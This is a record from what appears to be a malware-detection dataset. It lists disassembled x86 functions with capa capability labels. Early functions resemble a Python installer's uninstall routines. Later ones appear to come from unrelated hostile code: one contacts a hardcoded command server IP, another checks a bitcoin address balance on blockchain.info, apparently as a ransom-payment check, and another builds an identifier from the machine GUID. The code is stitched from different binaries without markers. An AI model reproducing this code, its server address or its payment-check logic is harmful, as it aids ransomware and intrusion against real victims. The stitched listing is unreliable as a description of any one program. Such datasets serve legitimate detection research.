joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403a5c
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__strdup]
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
push 0x5b
push eax
mov dword [ebp - 8], eax
call esi
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x403b1d
inc ebx
push 0x5d
push ebx
call esi
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x403b1d
and byte [edi], 0
inc edi
push 0xa
push edi
call esi
xor esi, esi
pop ecx
cmp eax, esi
pop ecx
je 0x403aae
and byte [eax], 0
lea eax, [ebp - 4]
push eax
push 0x20006
push esi
push ebx
push dword [0x40b010]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403ae1
push esi
push str.Could_not_open_key
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x403b13
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
cmp eax, esi
je 0x403b0a
cmp eax, 2
je 0x403b0a
push esi
push str.Could_not_delete_key
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403b22
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__strdup]
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
push 0x5b
push eax
mov dword [ebp - 8], eax
call esi
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x403be3
inc ebx
push 0x5d
push ebx
call esi
mov edi, eax
pop ecx
test edi, edi
pop ecx
je 0x403be3
and byte [edi], 0
inc edi
push 0x3d
push edi
call esi
xor esi, esi
pop ecx
cmp eax, esi
pop ecx
je 0x403be3
and byte [eax], 0
lea eax, [ebp - 4]
push eax
push 0x20006
push esi
push ebx
push dword [0x40b010]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x403ba7
push esi
push str.Could_not_open_key
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x403bd9
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp eax, esi
je 0x403bd0
cmp eax, 2
je 0x403bd0
push esi
push str.Could_not_delete_value
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403be8
Capabilities:
Delete file

Disassembly:
push esi
push 0x3a
push dword [esp + 0xc]
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
pop ecx
test esi, esi
pop ecx
jne 0x403bff
pop esi
ret
mov eax, dword [sym.imp.MSVCRT.dll___mb_cur_max]
inc esi
cmp dword [eax], 1
jle 0x403c1a
movsx eax, byte [esi]
push 8
push eax
call dword [sym.imp.MSVCRT.dll__isctype]
pop ecx
pop ecx
jmp 0x403c2b
mov ecx, dword [sym.imp.MSVCRT.dll__pctype]
movsx eax, byte [esi]
mov ecx, dword [ecx]
mov al, byte [ecx + eax*2]
and eax, 8
test eax, eax
jne 0x403bff
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
ret

Function at 0x403c38
Capabilities:
Delete directory

Disassembly:
push esi
push 0x3a
push dword [esp + 0xc]
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
pop ecx
test esi, esi
pop ecx
jne 0x403c4f
pop esi
ret
mov eax, dword [sym.imp.MSVCRT.dll___mb_cur_max]
inc esi
cmp dword [eax], 1
jle 0x403c6a
movsx eax, byte [esi]
push 8
push eax
call dword [sym.imp.MSVCRT.dll__isctype]
pop ecx
pop ecx
jmp 0x403c7b
mov ecx, dword [sym.imp.MSVCRT.dll__pctype]
movsx eax, byte [esi]
mov ecx, dword [ecx]
mov al, byte [ecx + eax*2]
and eax, 8
test eax, eax
jne 0x403c4f
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop esi
ret
Function at 0x403c88
Capabilities:
Delete file
Read file on windows

Disassembly:
mov eax, 0x1014
call fcn.00406cb0
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
push edi
push 0x5b
push dword [esp + 0x1028]
call esi
xor edi, edi
pop ecx
cmp eax, edi
pop ecx
je 0x403cc0
inc eax
push 0x5d
push eax
mov dword [esp + 0x18], eax
call esi
mov ebx, eax
pop ecx
cmp ebx, edi
pop ecx
jne 0x403cc7
xor eax, eax
jmp 0x403e40
and byte [ebx], 0
inc ebx
push ebx
push 0x40c330
mov dword [esp + 0x14], ebx
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x403e3d
push ebp
push edi
push edi
mov dword [esp + 0x24], str._remove
mov dword [esp + 0x28], edi
mov dword [esp + 0x20], ebx
call dword [sym.imp.MSVCRT.dll__tempnam]
mov esi, dword [sym.imp.MSVCRT.dll_freopen]
mov ebp, eax
mov eax, dword [sym.imp.MSVCRT.dll__iob]
mov edi, 0x40b9d4
add eax, 0x40
push eax
push edi
push ebp
call esi
add esp, 0x14
test eax, eax
jne 0x403d32
push eax
push eax
push str.freopen_stderr
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [sym.imp.MSVCRT.dll__iob]
add eax, 0x20
push eax
push edi
push ebp
call esi
add esp, 0xc
test eax, eax
jne 0x403d5a
push eax
push eax
push str.freopen_stdout
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x403d9f
lea eax, [esp + 0x18]
push eax
push 2
push ebx
push esi
call fcn.004031f4
add esp, 0x10
cmp eax, 0x80000000
jne 0x403d98
mov eax, dword [sym.imp.MSVCRT.dll__iob]
push str._Could_not_load_Python_
add eax, 0x40
push eax
call dword [sym.imp.MSVCRT.dll_fprintf]
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [sym.imp.MSVCRT.dll__iob]
mov edi, dword [sym.imp.MSVCRT.dll_fflush]
add eax, 0x40
push eax
call edi
mov eax, dword [sym.imp.MSVCRT.dll__iob]
mov esi, dword [sym.imp.MSVCRT.dll_fclose]
add eax, 0x40
push eax
call esi
mov eax, dword [sym.imp.MSVCRT.dll__iob]
add eax, 0x20
push eax
call edi
mov eax, dword [sym.imp.MSVCRT.dll__iob]
add eax, 0x20
push eax
call esi
push 0x40b970
push ebp
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
lea eax, [esp + 0x3c]
push edi
push 0x1000
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
push edi
mov ebx, eax
call esi
push ebp
call dword [sym.imp.MSVCRT.dll_remove]
and byte [esp + ebx + 0x54], 0
add esp, 0x30
cmp byte [esp + 0x24], 0
pop ebp
je 0x403e2d
push 0
lea eax, [esp + 0x24]
push str.uninstall_script
push eax
call dword [sym.imp.USER32.dll_GetFocus]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [esp + 0xc]
push 0x40c330
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
add esp, 0x1014
ret
Function at 0x404328
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40437c
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push esi
push esi
push 2
push esi
push edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, eax
call edi
cmp ebx, 0xffffffff
jne 0x404380
xor eax, eax
jmp 0x40439b
push esi
push esi
push esi
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push ebx
mov esi, eax
call edi
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4043a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
push ebx
push esi
lea ecx, [edx + eax - 0x16]
push edi
mov edi, dword [ebp + 0x18]
sub eax, dword [ecx + 0x10]
sub eax, dword [ecx + 0xc]
sub eax, 0x22
lea esi, [eax + edx]
xor edx, edx
mov dword [edi], edx
mov edi, dword [ebp + 0x14]
mov dword [edi], edx
cmp dword [ecx], 0x6054b50
jne 0x4044cc
cmp dword [esi], 0x1234567b
je 0x4043f4
push str.Invalid_cfgdata_magic_number__see_bdist_wininst.py_
push edx
call fcn.00401a6f
pop ecx
pop ecx
jmp 0x4044ce
cmp eax, edx
jl 0x4044cc
mov ecx, dword [esi + 8]
cmp ecx, edx
je 0x404410
mov edx, esi
sub edx, dword [esi + 4]
sub edx, ecx
mov dword [0x40da30], edx
sub eax, dword [esi + 4]
mov ecx, dword [ebp + 0x10]
mov edi, esi
push 0x104
sub eax, dword [esi + 8]
mov dword [ecx], eax
sub edi, dword [esi + 4]
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
pop ecx
test ebx, ebx
je 0x4044cc
lea eax, [ebp - 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x4044b9
push ebx
push 0
lea eax, [ebp - 0x104]
push 0x40c2dc
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x4044b9
xor eax, eax
push eax
push eax
push eax
push dword [esi + 4]
push eax
push ebx
push 2
call fcn.00401095
add esp, 0x1c
mov dword [ebp + 8], eax
test eax, eax
je 0x4044cc
push dword [esi + 4]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
lea edi, [edi + eax + 1]
push edi
call dword [sym.imp.MSVCRT.dll__strdup]
mov ecx, dword [ebp + 0x18]
add esp, 0x14
push dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 1
pop eax
jmp 0x4044ce
push str.Could_not_create_temporary_file
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00401a6f
pop ecx
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4026cc
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, ecx
push edi
push dword [ebp + 8]
lea edi, [esi + 0x68]
lea ecx, [edi + 0xc]
call fcn.004038e5
push 0
push 0x61
mov ecx, edi
call fcn.004066ff
mov ecx, dword [ebp + 0xc]
call fcn.00419560
mov edx, 0xce4
lea ecx, [ebp - 0xc]
call fcn.0040272b
push dword [eax]
push dword [esi + 0x6c]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push dword [ebp - 0xc]
call fcn.004032cb
pop ecx
push 1
push dword [esi + 0x6c]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
xor eax, eax
pop esi
leave
ret 8

Function at 0x402ace
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x41a26e
call fcn.00419970
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
mov dword [esi + 0x1c], eax
mov byte [esi + 0x20], al
mov byte [esi + 0x21], al
call fcn.004037a0
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
call fcn.00402b28
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x402b7a
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x41a2b9
call fcn.00419970
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 3
call fcn.0040b3c3
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
call fcn.00402bd0
push dword [esi + 0x24]
call fcn.004032cb
and byte [ebp - 4], 0
pop ecx
lea ecx, [esi + 0xc]
call fcn.004117cf
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.00402f6c
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x404664
Capabilities:
Set file attributes

Disassembly:
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne al
ret

Function at 0x4047cf
Capabilities:
Create directory

Disassembly:
mov eax, 0x41a4fc
call fcn.00419970
sub esp, 0x38
push ebx
push esi
xor ebx, ebx
mov esi, ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x4047f2
mov al, 1
jmp 0x404838
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404803
xor al, al
jmp 0x404838
lea ecx, [ebp - 0x44]
call fcn.00404d33
lea ecx, [ebp - 0x1c]
call fcn.004037a0
push ebx
push esi
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], ebx
call fcn.00404fea
test al, al
je 0x40482d
mov ebx, dword [ebp - 0x24]
shr ebx, 4
and bl, 1
push dword [ebp - 0x1c]
call fcn.004032cb
pop ecx
mov al, bl
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x404fdb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x404fe9
or eax, eax
ret
Function at 0x405640
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push edi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40566a
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40566a
xor al, al
jmp 0x40568a
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.00419ca0
mov ecx, eax
xor eax, eax
add ecx, edi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop edi
leave
ret 4
Function at 0x414e40
Capabilities:
Check os version
Get common file path

Disassembly:
sub esp, 0x3e4
push ebp
lea eax, [esp + 4]
push esi
push eax
mov dword [esp + 0xc], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x414e6e
cmp dword [esp + 0xc], 6
jne 0x414e6e
mov eax, dword [esp + 0x10]
test eax, eax
je 0x414e98
push str.SetDefaultDllDirectories
push 0x41c798
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x414e98
push 0xc00
call eax
test eax, eax
jne 0x414f4e
lea ecx, [esp + 0x11c]
push 0x106
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x414f4e
cmp eax, 0x104
ja 0x414f4e
lea edx, [esp + 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebp, eax
cmp word [esp + ebp*2 + 0x11a], 0x5c
je 0x414ee4
mov word [esp + ebp*2 + 0x11c], 0x5c
inc ebp
mov esi, dword [str.UXTHEME]
cmp byte [esi], 0
je 0x414f4e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov al, byte [esi]
xor cx, cx
inc esi
mov cl, al
test al, al
mov word [esp + ebp*2 + 0x124], cx
je 0x414f2a
lea ecx, [esp + ebp*2 + 0x126]
mov al, byte [esi]
xor dx, dx
mov dl, al
inc esi
mov word [ecx], dx
add ecx, 2
test al, al
jne 0x414f18
lea eax, [esp + 0x124]
push str..dll
push eax
call edi
lea ecx, [esp + 0x124]
push 8
push 0
push ecx
call ebx
cmp byte [esi], 0
jne 0x414efd
pop edi
pop ebx
pop esi
pop ebp
add esp, 0x3e4
ret
Function at 0x418752
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
mov eax, 1
push edi
mov dword [esi + 0x30], eax
mov dword [esi + 0x44], eax
or eax, 0xffffffff
xor edi, edi
mov dword [esi + 0x90], eax
mov dword [esi + 0x94], eax
mov eax, dword [esi + 4]
mov dword [esi + 0x78], edi
mov dword [esi + 0x68], edi
cmp eax, 0x20
mov dword [esi + 0x7c], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x88], edi
mov dword [esi + 0x6c], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x4c], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
mov dword [esi + 0x80], edi
mov dword [esi + 0x84], edi
jbe 0x4187bb
mov eax, 0x20
mov ecx, dword [esi + 0x20]
mov dword [esi + 0x54], eax
mov eax, dword [esi]
mov dword [esi + 0x58], edi
cmp eax, ecx
je 0x4187fc
lea ebx, [esi + 0xc8]
mov ebp, 0x20
cmp dword [ebx + 8], edi
je 0x4187e1
mov ecx, ebx
call fcn.00418440
add ebx, 0x28
dec ebp
jne 0x4187d5
mov edx, dword [esi + 0x5c]
cmp edx, edi
je 0x4187f7
mov ecx, dword [esi + 0x14]
call dword [ecx + 4]
mov dword [esi + 0x5c], edi
mov ecx, dword [esi]
mov dword [esi + 0x20], ecx
mov edx, dword [esi + 0x10]
lea ecx, [esi + 0x98]
call fcn.00418370
mov eax, dword [esi + 0x58]
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
lea edx, [eax + eax*4 + 0x19]
inc eax
mov dword [esi + 0x58], eax
lea ebp, [esi + edx*8]
mov ecx, ebp
call fcn.004188a0
mov ebx, eax
cmp ebx, edi
jne 0x41885f
lea ecx, [ebp + 0x20]
call fcn.00419600
mov ebx, eax
cmp ebx, edi
jne 0x41885f
lea ecx, [ebp + 0x1c]
call fcn.00419600
mov ebx, eax
cmp ebx, edi
jne 0x41885f
push ebp
call fcn.004188f0
mov ebx, eax
cmp ebx, edi
je 0x418874
mov ecx, esi
mov dword [esi + 0x44], edi
call fcn.004188d0
cmp ebx, edi
jle 0x41886f
and ebx, 0xffff
or ebx, 0x80070000
cmp ebx, edi
je 0x418874
mov dword [esi + 0x40], ebx
cmp dword [esi + 0x38], edi
jne 0x418886
cmp dword [esi + 0x40], edi
jne 0x418886
cmp dword [esi + 0x3c], edi
jne 0x418886
mov dword [esi + 0x44], edi
mov eax, dword [esi + 0x44]
pop edi
neg eax
sbb eax, eax
pop esi
not eax
and eax, ebx
pop ebp
pop ebx
ret
Function at 0x4195c0
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call sub.MSVCRT.dll__beginthreadex
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x4195e8
xor eax, eax
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4195f7
mov eax, 1
ret 4
Function at 0x41cdd0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x66
call fcn.00426810
push 0x32
mov esi, eax
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.00429a90
add esp, 0x10
push 0
push 0
push 0
push 0
push str.Internet_Explorer
call dword [sym.imp.WININET.dll_InternetOpenW]
push 0
push 0
push 0
push 0
push str.http:__46.45.169.106_sellKfjmfokt5lm5v14kol1vj35_redirect.php
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
test eax, eax
jne 0x41ce51
mov ecx, dword [0x45a390]
mov edx, esi
sub edx, ecx
nop
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x41ce30
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0
push ecx
push 0x28
lea ecx, [ebp - 0x38]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x28
lea eax, [ebp - 0x38]
push eax
push esi
call fcn.0042f065
add esp, 0xc
mov ecx, esi
call fcn.0041cec0
cmp eax, 3
jne 0x41cea0
mov ecx, dword [0x45a390]
mov edx, esi
sub edx, ecx
nop
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x41ce90
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004261dc
mov esp, ebp
pop ebp
ret
Function at 0x41cec0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x32
lea eax, [ebp - 0x38]
mov ebx, ecx
push 0
push eax
call fcn.00429a90
add esp, 0xc
push 0
push 0
push 0
push 0
push str.Internet_Explorer
call dword [sym.imp.WININET.dll_InternetOpenW]
movups xmm0, xmmword [str.https:__blockchain.info_q_getreceivedbyaddress_]
push 0xcc
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x104]
movups xmmword [ebp - 0x164], xmm0
push 0
movups xmm0, xmmword [0x450428]
push eax
movups xmmword [ebp - 0x154], xmm0
movups xmm0, xmmword [0x450438]
movups xmmword [ebp - 0x144], xmm0
movups xmm0, xmmword [0x450448]
movups xmmword [ebp - 0x134], xmm0
movups xmm0, xmmword [0x450458]
movups xmmword [ebp - 0x124], xmm0
movups xmm0, xmmword [0x450468]
movups xmmword [ebp - 0x114], xmm0
call fcn.00429a90
add esp, 0xc
mov esi, ebx
nop dword [eax]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x41cf70
lea edi, [ebp - 0x164]
sub ebx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x41cf86
mov ecx, ebx
lea eax, [ebp - 0x164]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 0
mov ecx, ebx
push eax
push dword [ebp - 0x168]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
pop edi
pop esi
pop ebx
test eax, eax
jne 0x41cfd5
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x168], 0
push ecx
push 0x32
lea ecx, [ebp - 0x38]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x38]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d000
sub ecx, edx
cmp ecx, 0xf
jbe 0x41d021
mov eax, 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret
cmp ecx, 2
jb 0x41d065
mov eax, dword [ebp - 0x38]
cmp ecx, 9
jb 0x41d045
cmp al, 0x31
jne 0x41d045
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret
cmp ecx, 8
jb 0x41d04e
cmp al, 0x35
je 0x41d052
cmp al, 0x36
jne 0x41d065
mov eax, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret
Function at 0x41d310
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4435f5
mov eax, dword fs:[0]
push eax
sub esp, 0x90
mov eax, dword [0x45600c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x94], edi
mov dword [ebp - 0x9c], edi
mov dword [ebp - 0x98], 0
mov dword [ebp - 4], 1
xor eax, eax
push 0xffffffffffffffff
push eax
mov word [ebp - 0x8c], ax
lea ecx, [ebp - 0x8c]
lea eax, [ebp + 8]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push eax
mov dword [ebp - 0x78], 7
mov dword [ebp - 0x7c], 0
call fcn.00422350
mov byte [ebp - 4], 2
mov ecx, 0x45a5b8
push 0
push 0x44d554
call fcn.00422290
push 2
mov dword [ebp - 0x94], 0x64
call fcn.0042621e
add esp, 4
lea eax, [ebp - 0x90]
push eax
push 0x20119
push 0
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41d3ff
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x74]
push eax
push 0
push 0
push str.MachineGuid
push dword [ebp - 0x90]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x90]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebx, ebx
cmp dword [ebp - 0x7c], ebx
jbe 0x41d465
lea ecx, [ebp - 0x74]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41d420
sub ecx, edx
lea esi, [ebp - 0x8c]
sar ecx, 1
mov eax, ebx
cmp dword [ebp - 0x78], 8
cmovae esi, dword [ebp - 0x8c]
xor edx, edx
div ecx
mov ecx, 0x45a5b8
mov ax, word [ebp + edx*2 - 0x74]
xor ax, word [esi + ebx*2]
movzx eax, ax
push eax
push 1
call fcn.00422430
inc ebx
cmp ebx, dword [ebp - 0x7c]
jb 0x41d412
xor eax, eax
mov dword [edi + 0x14], 7
push 0xffffffffffffffff
push eax
mov dword [edi + 0x10], 0
mov ecx, edi
push 0x45a5b8
mov word [edi], ax
call fcn.00422350
mov dword [ebp - 0x98], 1
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x78]
cmp eax, 8
jb 0x41d4b0
inc eax
lea ecx, [ebp - 0x8c]
push eax
push dword [ebp - 0x8c]
call fcn.00423890
xor eax, eax
mov dword [ebp - 0x78], 7
mov dword [ebp - 0x7c], 0
mov word [ebp - 0x8c], ax
mov byte [ebp - 4], al
mov eax, dword [ebp + 0x1c]
cmp eax, 8
jb 0x41d4df
inc eax
lea ecx, [ebp + 8]
push eax
push dword [ebp + 8]
call fcn.00423890
xor eax, eax
mov dword [ebp + 0x1c], 7
mov dword [ebp + 0x18], 0
mov word [ebp + 8], ax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004261dc
mov esp, ebp
pop ebp
ret